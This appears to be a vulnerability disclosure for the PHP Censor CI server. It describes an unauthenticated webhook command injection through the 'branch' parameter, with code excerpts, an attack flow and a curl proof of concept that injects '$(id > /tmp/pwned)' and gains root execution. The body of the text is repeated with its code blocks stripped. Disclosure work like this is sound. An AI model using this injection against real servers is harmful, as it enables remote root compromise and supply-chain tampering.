Description
A critical OS command injection vulnerability exists in the webhook endpoint that allows an unauthenticated remote attacker to execute arbitrary system commands on the server.
The vulnerability arises from two compounding issues:
-
Authentication Bypass: The WebhookController is explicitly whitelisted from authentication checks in Application.php, allowing anyone to send requests to /webhook/git/<projectId> without any credentials or tokens.
-
Command Injection: The branch parameter from the webhook request is passed unsanitized through sprintf() into a shell command string, which is then executed via Symfony's Process::fromShellCommandline(). This method interprets shell metacharacters, enabling injection of arbitrary commands.
An attacker only needs to know or enumerate a valid projectId (which can be done via the unauthenticated /build-status/image/<id> endpoint) to achieve full Remote Code Execution. In the default Docker deployment, commands execute as root.
Affected Code
1. Authentication Bypass — src/Application.php (Line 87)
The webhook controller is unconditionally excluded from session validation:
// src/Application.php:87
$skipValidation = \in_array($route['controller'], ['session', 'webhook', 'build-status'], true);
GitHub Link: https://github.com/php-censor/php-censor/blob/master/src/Application.php#L87
2. Unsanitized Input — src/Controller/WebhookController.php (Line 345)
The branch parameter is read directly from the HTTP request without any sanitization:
// src/Controller/WebhookController.php:345
'branch' => $this->getParam('branch', $project->getDefaultBranch()),
GitHub Link: https://github.com/php-censor/php-censor/blob/master/src/Controller/WebhookController.php#L345
3. Command Injection Sink — src/Model/Build/GitBuild.php (Lines 105-106, 135-138)
The unsanitized branch value is interpolated into a shell command via sprintf:
// src/Model/Build/GitBuild.php:105-106 (HTTP clone)
$cmd .= ' -b "%s" "%s" "%s"';
$success = $builder->executeCommand($cmd, $this->getBranch(), $this->getCloneUrl(), $cloneTo);
// src/Model/Build/GitBuild.php:135-138 (SSH clone)
$cmd .= ' -b "%s" "%s" "%s"';
$cmd = 'export GIT_SSH="' . $gitSshWrapper . '" && ' . $cmd;
$success = $builder->executeCommand($cmd, $this->getBranch(), $this->getCloneUrl(), $cloneTo);
GitHub Links:
4. Shell Execution — src/Helper/CommandExecutor.php (Lines 101, 119)
The final command string is assembled by sprintf() and passed to Process::fromShellCommandline(), which parses and executes shell metacharacters:
// src/Helper/CommandExecutor.php:101
$command = \call_user_func_array('sprintf', $args);
// src/Helper/CommandExecutor.php:119
$process = Process::fromShellCommandline($command, $cwd);
GitHub Links:
Attack Flow
Attacker (Unauthenticated)
│
│ 1. Enumerate projectId via GET /build-status/image/{id}
│ (200 = exists, 500 = not found)
│
│ 2. Send POST /webhook/git/{projectId}?branch=$(MALICIOUS_CMD)
│ (No auth required — webhook controller is whitelisted)
│
▼
WebhookController::git()
│
│ 3. Reads branch=$(MALICIOUS_CMD) from request parameter
│ without any sanitization or validation
│
▼
BuildService::createBuild()
│
│ 4. Creates a new Build record with the malicious branch value
│ and pushes it to the Beanstalkd job queue
│
▼
Worker (Asynchronous)
│
│ 5. GitBuild::cloneByHttp() builds command:
│ git clone --recursive -b "$(MALICIOUS_CMD)" "repo_url" "path"
│
│ 6. CommandExecutor::executeCommand() calls sprintf() then
│ Process::fromShellCommandline() → shell interprets $(...)
│
▼
SYSTEM COMMAND EXECUTED AS ROOT
Proof of Concept
Prerequisites
- A running PHP Censor instance with at least one Git-type project configured.
- The attacker must know or enumerate a valid
projectId.
Step 1: Enumerate a Valid Project ID
# Returns HTTP 200 with an SVG image if projectId exists
curl -s -o /dev/null -w "%{http_code}" http://TARGET:8088/build-status/image/1
# 200 = project exists, 500 = not found
Step 2: Trigger Command Injection
# Inject 'id > /tmp/pwned' via the branch parameter
curl -X POST "http://TARGET:8088/webhook/git/1?branch=\$(id%20>%20/tmp/pwned)"
Step 3: Verify Execution
The injected command is executed asynchronously by the Worker process. After a few seconds:
# On the server / inside the Worker container:
cat /tmp/pwned
# Output: uid=0(root) gid=0(root) groups=0(root),...
Impact
An unauthenticated attacker can:
- Execute arbitrary commands on the server with the privileges of the Worker process (root in the default Docker deployment).
- Read sensitive files including configuration files, database credentials, SSH keys, and environment variables.
- Establish persistent access via reverse shells, SSH backdoors, or cron jobs.
- Pivot to internal networks if the CI server has access to internal infrastructure.
- Compromise the software supply chain by modifying build artifacts, injecting malicious code into tested/deployed software.
Proposed Fix
Pull Request: #441
Description
A critical OS command injection vulnerability exists in the webhook endpoint that allows an unauthenticated remote attacker to execute arbitrary system commands on the server.
The vulnerability arises from two compounding issues:
Authentication Bypass: The
WebhookControlleris explicitly whitelisted from authentication checks inApplication.php, allowing anyone to send requests to/webhook/git/<projectId>without any credentials or tokens.Command Injection: The
branchparameter from the webhook request is passed unsanitized throughsprintf()into a shell command string, which is then executed via Symfony'sProcess::fromShellCommandline(). This method interprets shell metacharacters, enabling injection of arbitrary commands.An attacker only needs to know or enumerate a valid
projectId(which can be done via the unauthenticated/build-status/image/<id>endpoint) to achieve full Remote Code Execution. In the default Docker deployment, commands execute as root.Affected Code
1. Authentication Bypass —
src/Application.php(Line 87)The
webhookcontroller is unconditionally excluded from session validation:GitHub Link: https://github.com/php-censor/php-censor/blob/master/src/Application.php#L87
2. Unsanitized Input —
src/Controller/WebhookController.php(Line 345)The
branchparameter is read directly from the HTTP request without any sanitization:GitHub Link: https://github.com/php-censor/php-censor/blob/master/src/Controller/WebhookController.php#L345
3. Command Injection Sink —
src/Model/Build/GitBuild.php(Lines 105-106, 135-138)The unsanitized
branchvalue is interpolated into a shell command viasprintf:GitHub Links:
4. Shell Execution —
src/Helper/CommandExecutor.php(Lines 101, 119)The final command string is assembled by
sprintf()and passed toProcess::fromShellCommandline(), which parses and executes shell metacharacters:GitHub Links:
Attack Flow
Proof of Concept
Prerequisites
projectId.Step 1: Enumerate a Valid Project ID
Step 2: Trigger Command Injection
Step 3: Verify Execution
The injected command is executed asynchronously by the Worker process. After a few seconds:
Impact
An unauthenticated attacker can:
Proposed Fix
Pull Request: #441